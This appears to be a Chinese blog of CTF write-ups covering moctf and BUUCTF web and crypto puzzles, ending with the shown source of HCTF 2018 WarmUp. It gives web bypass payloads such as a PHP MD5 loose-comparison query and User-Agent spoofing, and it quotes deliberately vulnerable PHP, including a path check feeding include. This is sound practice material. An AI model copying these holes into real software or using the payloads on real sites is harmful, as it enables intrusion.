Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook. Ook! Ook. Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook.
Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook! Ook. Ook? Ook.

Brainfuck解码

web

一道水题

打开网页有很多动态的呱呱呱,F12就能找到flag了哟

还是水题

打开页面,要求在输入框输入moctf,然而,输入框无法使用

学过HTML的话可能反应过来了,修改文本输入框的属性就能够输入了,即,F12打开后,将disabled="disabled"删除

这时候可以输入了,但是只能输入四位,继续修改文本输入框的属性,maxlength="5"

这样就能按要求提交,得到flag

访问限制

题目:只允许使用NAIVE浏览器访问!

好像谷歌浏览器可以伪装成其他浏览器,然后就能绕过

但是我们来抓包

TIM截图20191001142959
TIM截图20191001142959

把user-angent改成NAIVE,得到flag

(话说我第一次做这题好像还有一层“仅允许香港记者访问”)

贪吃蛇

可以玩贪吃蛇欸,但是只能玩一会儿,方块吃完就不给新的了,也没给flag,自杀后还想骗我按F5重新玩一遍

F12看一下,发现有个robots.txt,插入知识点

robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件

网站根目录?那就访问一下...../robots.txt

得到另一个php页面,访问..../flag327a6c4304ad5938eaf0efb6cc3e53dc.php

刚好我开发者工具一直没关,直接在上面看到flag

PHP黑魔法

题目:好像有源码

网页就一段文字“好像少了点什么”看源码,抓包,啥都找不到

题目提示,好像有源码,那大概是哪个页面中藏着源码,而且没有什么其他的提示,应该是在已经存在的,我们知道的页面中,例如index.php

访问index后发现没有任何变化,访问index的备份文件index.php~,空白页,源码里面有PHP代码

<!DOCTYPE html>
<!--html lang="zh-CN">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
</head>
<body>
<?php

    $flag="moctf{**************}";
    
    if (isset($_GET['a'])&&isset($_GET['b'])) {
        $a=$_GET['a'];
        $b=$_GET['b'];
        if($a==$b) 
        {
            echo "<center>Wrong Answer!</center>";
        }
        else {
            if(md5($a)==md5($b)) 
            {
                echo "<center>".$flag."</center>"; 
                echo "By:daoyuan";
            }
            else echo "<center>Wrong Answer!</center>";
        }
    }
    else echo "<center>濂藉儚灏戜簡鐐逛粈涔�</center>"; 
?>
</body>
</html-->

要求GET两个MD5值相等的数a和b

这里有一对特殊的数的MD5是相等的,QNKCDZO240610708

payload:/web5/index.php?a=QNKCDZO&&b=240610708

我想要钱

题目:我要很多很多钱

<?php
    include "flag.php";
    highlight_file(__FILE__);

    if (isset($_GET['money'])) {
        $money=$_GET['money'];
        if(strlen($money)<=4&&$money>time()&&!is_array($money))
        {
            echo $flag;
            echo "<!--By:daoyuan-->";
        }
        else echo "Wrong Answer!";
    }
    else echo "Wrong Answer!";
?>

要构造一个数,提了三个要求

  • 长度≤4
  • 不能是数组
  • 这个数要大于time()

time()是指返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数的函数

也就是说,这是个相当大的数,而且只有四位

不过,科学计数法搞定一切

BUUCTF

BUUCTF,北京联合大学的训练平台

Crypto

MD5

题目:e00cf25ad42683b3df678c61f42c6bda

MD5在线解密,得到flag,用flag{*}提交

看我回旋踢

题目:synt{5pq1004q-86n5-46q8-o720-oro5on0417r1}

看格式猜测是凯撒

脚本列举解密,找到flag,提交

Url编码

题目:%66%6c%61%67%7b%61%6e%64%20%31%3d%31%7d

解码,得到flag

摩丝

题目:.. .-.. --- ...- . -.-- --- ..-

解完提交发现不对,以为是要把.-互换,发现还是不对,把flag都变成大写,通过

一眼就解密

题目:ZmxhZ3tUSEVfRkxBR19PRl9USElTX1NUUklOR30=

最后有个等号,猜测是base64,解密,得到flag

变异凯撒

题目:afZ_r9VYfScOeO_UL^RWUc

既然是凯撒,那么观察一下ascii码

BUUCTF-变异凯撒
BUUCTF-变异凯撒

将密文前四位与flag相比,发现需要增加的ascii数值依次递增

a='afZ_r9VYfScOeO_UL^RWUc'
flag=''
n=5
for i in a:
    s=ord(i)+n
    flag+=chr(s)
    n+=1
print(flag)

Quoted-printable

题目:=E9=82=A3=E4=BD=A0=E4=B9=9F=E5=BE=88=E6=A3=92=E5=93=A6

感觉是先十六进制转十进制再ascii,然而,E9的十进制是233,已经超出一般范围了

网上查了一下这个编码,思路其实差不多,找了个解码网站解码后直接提交,emmmm.....成功了

password

明明是社工题....而且这题抄过来也抄的太不走心了,要试flag都得试两次

BUUCTF-password
BUUCTF-password

flag:flag{zs19900315}

zip伪加密

将zip在winhex中打开,找到50 4B 01 02,修改其后的09改为00

BUUCTF-zip伪加密
BUUCTF-zip伪加密

打开txt得到flag

zip伪加密原理

丢失的MD5

给了个py文件,可能会报错,改一改运行flag就出来了

import hashlib   
for i in range(32,127):
    for j in range(32,127):
        for k in range(32,127):
            m=hashlib.md5()
            a='TASC'+chr(i)+'O3RJMV'+chr(j)+'WDJKX'+chr(k)+'ZM'
            m.update(a.encode('utf-8'))
            des=m.hexdigest()
            if 'e9032' in des and 'da' in des and '911513' in des:
                print (des)

RSA

题目:在一次RSA密钥对生成中,假设p=473398607161,q=4511491,e=17
求解出d作为flga提交

d=((p-1)*(q-1)+1)/e

Rabbit

题目:U2FsdGVkX1/+ydnDPowGbjjJXhZxm2MP2AgI

Rabbit在线加解密

篱笆墙的影子

题目:星星还是那颗星星哟 月亮还是那个月亮 山也还是那座山哟 梁也还是那道梁 碾子是碾子 缸是缸哟 爹是爹来娘是娘 麻油灯呵还吱吱响 点的还是那么丁点亮 哦哦

felhaagv{ewtehtehfilnakgw}

明显是栅栏,2栏的

Alice与Bob

题目:密码学历史中,有两位知名的杰出人物,Alice和Bob。他们的爱情经过置换和轮加密也难以混淆,即使是没有身份认证也可以知根知底。就像在数学王国中的素数一样,孤傲又热情。下面是一个大整数:98554799767,请分解为两个素数,分解后,小的放前面,大的放后面,合成一个新的数字,进行md5的32位小写哈希,提交答案。

z,Alice和Bob.....查过RSA的应该都知道

难度很小,98554799767只有一种分解方法,根本不需要再去判断要用哪一组

import math
import hashlib
n=98554799767
for p in range(2,int(pow(n,0.5))):
    if(n%p!=0):
        continue
    else:
        q=n/p
        break
a=str(p)+str(int(q))
m=hashlib.md5()
m.update(a.encode(encoding='utf-8'))
flag=m.hexdigest()
print(flag)

传统知识+古典密码

题目:小明某一天收到一封密信,信中写了几个不同的年份

      辛卯,癸巳,丙戌,辛未,庚辰,癸酉,己卯,癸巳。
      信的背面还写有“+甲子”,请解出这段密文。

对应年份

辛卯癸巳丙戌辛未庚辰癸酉己卯癸巳
283023817101630

而甲子代表1,加完之后29 31 24 09 18 11 17 31 好像没啥思路,ascii码和九键都解不开

想到上次做密码学笔记,这个加密记的名字是“甲子年加密”,这里的甲子代表六十甲子年,将各个数+60

88 90 83 68 77 70 76 90

XZSDMFLZ提交发现flag错误,看题目,除了传统知识,还有古典密码,想到栅栏和凯撒

试了好几个答案,最后,栅栏+凯撒得到答案

rsarsa

题目

Math is cool! Use the RSA algorithm to decode the secret message, c, p, q, and e are parameters for the RSA algorithm.

p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
e = 65537
c = 83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034

Use RSA to find the secret message

用gmpy2破解

import gmpy2

p=9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q=11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
e=65537
c=83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034

n=p*q
fn=(p-1)*(q-1)
d=gmpy2.invert(e,fn)
m=pow(c,d,n)
print(m)

大帝的密码武器

题目

公元前一百年,在罗马出生了一位对世界影响巨大的人物,他生前是罗马三巨头之一。他率先使用了一种简单的加密函,因此这种加密方法以他的名字命名。
以下密文被解开后可以获得一个有意义的单词:FRPHEVGL
你可以用这个相同的加密向量加密附件中的密文,作为答案进行提交。

密文:ComeChina

FRPHEVGL由SECURITY凯撒加密而来,位移数为13,把ComeChina位移13位加密

Windows系统密码

题目

给了个.hash文件

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ctf:1002:06af9108f2e1fecf144e2e8adef09efd:a7fcb22a88038f35a8f39d503e7f0062:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:bef14eee40dffbc345eeb3f58e290d56:::

其中一串拿去解MD5,得到flag

robomunication

给了个MP3,盲猜摩斯电码,打开果然一直在哔哔哔

摩斯电码没错,听了两遍后解码,直接提交失败了,换大写,失败

重新看一下解码后的内容,提交了BOOPBEEP

old-fashion

题目

Os drnuzearyuwn, y jtkjzoztzoes douwlr oj y ilzwex eq lsdexosa kn pwodw tsozj eq ufyoszlbz yrl rlufydlx pozw douwlrzlbz, ydderxosa ze y rlatfyr jnjzli; mjy gfbmw vla xy wbfnsy symmyew (mjy vrwm qrvvrf), hlbew rd symmyew, mebhsymw rd symmyew, vbomgeyw rd mjy lxrzy, lfk wr dremj. Mjy eyqybzye kyqbhjyew mjy myom xa hyedrevbfn lf bfzyewy wgxwmbmgmbrf. Wr mjy dsln bw f1_2jyf-k3_jg1-vb-vl_l

凯撒?替换?呵呵!

题目:

MTHJ{CUBCGXGUGXWREXIPOYAOEYFIGXWRXCHTKHFCOHCFDUCGTXZOHIXOEOWMEHZO}

这是什么

给了个apk文件,扔到winhex里面看到一串jsfuck,运行后弹出flag

web

[HCTF 2018]WarmUp

进去后给了张滑稽的图片,看源码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

有个source.php,进去看看,滑稽上面多了一段js

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

添加新评论